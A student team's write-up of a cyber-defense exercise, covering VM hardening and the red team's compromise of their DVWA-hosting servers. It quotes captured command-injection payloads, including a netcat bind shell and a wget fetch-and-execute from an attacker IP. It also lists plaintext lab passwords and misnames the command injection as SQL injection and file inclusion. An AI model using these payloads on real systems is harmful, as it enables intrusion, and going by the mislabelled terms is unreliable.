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HOSTING

We installed Open VPN daemon, which can be used to securely
link two or more private networks using an encrypted tunnel, from
the  UC  website.  There  was  a  problem  regarding  the  hosting
machine. We all used Windows OS. The issue was finding the host
OS Ubuntu. This led to a lot of muddling when the contest began.
We then set it up on Jacob’s machine.

VM’s SETUP

After setting up the VM’s after initial connectivity problems, we
tried to harden the VM.

We monitored the VM’s for any malicious activity. We continuously
checked  the  IP  addresses  and  then  we  did  few  configuration
changes. We kept a close eye on our VM’s and reported if any
suspicious behaviors occurred.

SERVICES SET UP

All the passwords were changed first. The VM had new passwords.
We  had  to  configure  the  workings  of  Apache+PHP,  MYSQL,
Wordpress,  FTP,  DNS.  We  changed  the  default  passwords  of
MYSQL and WordPress. We explicitly ran FTP and then disabled its
read/write access. Next, we configured the DNS. We used bind9
server for this and installed it with ‘sudo apt-get install bind9’. We
changed  the  email  address  to  one  of  ours  that  is
thalapsh.mail.uc.edu and the IP address to our VM’s IP. We then
restarted the server for its proper functioning.

VM HARDENING



Once the event began, we first set up our VM’s through OPEN
VPN. The first day of the contest was us spending all the night to
set up our VM’s and by the end of the night all of them were up
and running. As soon as we had our VM’s installed we had begun
the hardening process. Most of our time was gone with finding the
host machine having UBUNTU OS. We then decided on quickly
configuring the VM’s and this in turn made us have no time to
install other tools. We ran the basic aptget commands to update,
upgrade,  autoremove,  and  autoclean.  They  helped  update
systems on the OS, upgrade installed packages to newer versions,
and  remove  unnecessary  packages  which  could  leave
vulnerabilities for intruders. We then focused on changing all the
passwords for configuration. We secured the services by creating
strong password using various combinations of characters.  This
helped harden our VM. 

We set up a new account on Jacob’s computer so that we could all
easily SSH into it. This helped us avoid the network congestion
problems observed when trying to log straight into the VM’s as we
could access the three VM’s with no problem.

Steps taken to secure and harden the VM’s:

Fixed  the  /etc/sudoers  by  changing  “Student  ALL=(ALL)
NOPASSWD: ALL” to “Student

 ALL=(ALL:ALL) ALL”.
 Disabled IPv6 in both /etc/sysctl.conf and /etc/default/bind9 .
 Hardened MySQL.
 Changed root user and password on all VM’s.

o 232 root Js&38s7DC  ;  student GHns&232
o 233 root XInf&Sd43  ;  student HSd&233
o 234 root AMd&3s56$  ;  student AMd&892

 Disabled local infile.
 Stopped SHOW DATABASES from working.
 The commands used to update security on MYSQL:



UPDATE  wp_options  SET  option_value  =
replace(option_value, 'http://localhost', 'http://10.8.0.233')

mysqladmin -u root -p'oldpassword' password newpassword

SET  PASSWORD  FOR  'user-name-here'@'hostname-name-
here' = PASSWORD('new-password-here');

 Tried to set up SSH keys to disable password login, but failed
to get it working correctly.


 Changed passwords for WordPress for all three VM’s.

232 : student : GHns&74aN
233 : student : HSd&s74Cl
234 : student : ASDu&23DD

PROBLEMS ENCOUNTERED 

We had securely set up our VM’s and got them up and running.
We hardened the VM’s and did the configuration changes. But, we
overlooked one service we had to disable and that caused us to
get  hacked.  That  was the  root  cause to  all  the problems.  The
DVWA (Damn Vulnerable  Web Application)  was  not  disabled,  it
was still  there in  our  system. DVWA is  an SQL injection which
caused the Local File Inclusion and Remote File inclusion. 

Local  File  Inclusion  (LFI)  is  an  exploit,  which  involves  gaining
access to local system files of a web server, though a website. It
allows an attacker to include a local file, usually through a script
on the web server. The vulnerability occurs when a website does
not  have  proper  validating  on  which  files  it  can  and  cannot
include. From an attacker’s point of view, the gold of LFI is often
to gain vital system information or to do Remote Code Execution
(RCE).



This can lead to something as minimal as outputting the contents
of the file, but depending on the severity, to list a few it can lead
to:

1. Code execution using Remote File inclusion.

2. Code execution on the client-side such as JavaScript which
can lead to other attacks such as Cross Site Scripting (XSS).

3. Denial of Service (DoS).

4. Data Theft and Data Manipulation.

Traffic Analysis

On the first day the Red Team exploited our systems. They used
the code

Mknod  /tmp/p;  /bin/bash  </tmp/p  |  nc
-lp54321>/tmp/p&Submit=H4ck+d4t+sh1t

We were attacked by IP addresses 10.8.0.54 on 10.8.0.233. The
other servers 232 and 233 were compromised using dvwa by IP
address  10.8.0.72,  the  Red team used remote  file  inclusion  to
download a remote file and execute it.  Using our  vulnerability,
they used this address to attack: 

ip=127.0.0.1; cd /tmp; wget 10.8.0.54:8000/rootplz; wget
10.8.0.54:8000/fun.sh; chmod +x rootplz; echo "sh fun.sh"
| ./rootplz&Submit=H4ck+d4t+sh1t

We sorted the IP addresses. We filtered through and obtained a
list of IP’s. The following are the ones we found that opened a
socket on the machine:

10.8.0.55
10.8.0.64
10.8.0.62



10.8.0.51
10.8.0.63
10.8.0.59
10.8.0.67

The attacks were mostly of type HTTP, FTP, SSH. We find that the
maximum is of FTP type. 

The following is our analysis of the attacks on the three different
IP addresses.

10.8.0.232 ( VM #1 )

The IP 10.8.0.51 accessed the HTTP traffic. It tried to login using
SSH and the IP 10.8.0.55 accessed FTP through anonymous login.
This continued throughout for all the addresses till the end.

The  IP  addresses  10.8.0.54,  10.8.0.51,  10.8.0.72  accessed  the
Word Press page and 10.8.0.51 and 10.8.0.72 accessed the SSH
serve r.  they  tried  to  a  login  into  the  server  but  it  failed  and
10.8.0.72 accessed the FTP successfully.

The IP 10.8.0.51 launched an attack using Damn Vulnerable Web
App they posted a string with data

       mknod  /tmp/p;  /bin/bash  </tmp/p  |  nc
-lp54321>/tmp/p&Submit=H4ck+d4t+sh1t

10.8.0.72 launched an attack using DVWA by posting the string as
a post request on /dvwa/vulnerabilities/exec/source/low.php

ip=127.0.0.1; cd /tmp; wget 10.8.0.54:8000/rootplz; wget
10.8.0.54:8000/fun.sh; chmod +x rootplz; echo "sh fun.sh"
| ./rootplz&Submit=H4ck+d4t+sh1t 

This resulted in a remote file inclusion and the attackers gained
the access to the servers using the rootplz shell. 10.8.0.54 and
10.8.0.55 accessed the FTP and HTTP traffic and 10.8.0.72 used



the  shell  to  create  an  SSH  account  and  they  authenticated
through SSH and got access to the shell. Then they installed VNC
and used it to monitor the system. The 10.8.0.51 and 10.8.0.545
accessed the WordPress on HTTP and SSH protocols as live traffic.

10.8.0.233 ( VM #2 )

The IP address 10.8.0.64 accessed DVWA (i.e. Damn Vulnerable
Web  App).  We  failed  to  detect  and  disable  this  SQL  injection
attack. This led to the successful exploitation of our machine. But,
as we had changed the passwords it helped prevent them to get
access to our database. The IP address 10.8.0.56 constantly did
this and the IP 10.8.0.55 accessed FTP the whole time. 

The IP address 10.8.0.54 used the DVWA to exploit the server and
10.8.0.51 launched the same attack using DVWA and 10.8.0.54
launched an attack using DVWA by posting the string

ip=127.0.0.1; cd /tmp; wget 10.8.0.54:8000/rootplz; wget
10.8.0.54:8000/fun.sh; chmod +x rootplz; echo "sh fun.sh"
| ./rootplz&Submit=H4ck+d4t+sh1t

as a POST request on /dvwa/vulnerabilities/exec/source/low.php

The 10.8.0.54 used Remote File Inclusion to exploit  the system
and they gained access through the SSH shell and they used VNC
to monitor the system since then.

10.8.0.234 ( VM #3 )

The  IP  address  10.8.0.51  accessed  HTTP  traffic  and  the  IP
10.8.0.56 kept pinging constantly. Also, the IP address 10.8.0.55
constantly wrote binary data through FTP.

The IP 10.8.0.54 launched an attack using Damn Vulnerable Web
App  they  posted  a  string  with  data  as  a  POST  request.  The
10.8.0.51 accessed the application on SMTP but  they  failed  to
gain access to it. 



       mknod  /tmp/p;  /bin/bash  </tmp/p  |  nc
-lp54321>/tmp/p&Submit=H4ck+d4t+sh1t

10.8.0.72 launched an attack using DVWA by posting the string as
a POST request on /dvwa/vulnerabilities/exec/source/low.php.

ip=127.0.0.1; cd /tmp; wget 10.8.0.54:8000/rootplz; wget
10.8.0.54:8000/fun.sh; chmod +x rootplz; echo "sh fun.sh"
| ./rootplz&Submit=H4ck+d4t+sh1t

This resulted in a remote file inclusion and the attackers gained
the  access  to  the  servers  using  the  rootplz shell.  10.8.0.55
accessed the FTP and HTTP traffic and 10.8.0.72 used the shell to
create an SSH account and they authenticated through SSH and
got access to the shell. Then they installed VNC and used it to
monitor the system.  

Summary

The main root cause of our defense failure was the dvwa ( Damn
Vulnerable Web Application ). We secured all the VM’s in the usual
way but failed to detect dvwa and disable it. The Red team using
the  dvwa  accessed  out  website  but  they  couldn’t  connect  to
MySQL  because  it  was  already  secured  and  they  had  no  way
accessing it. They used dvwa to download and execute a remote
file called “rootplz” which led them to gain access to our shell,
then they used VNC and SSH to monitor the VM. 


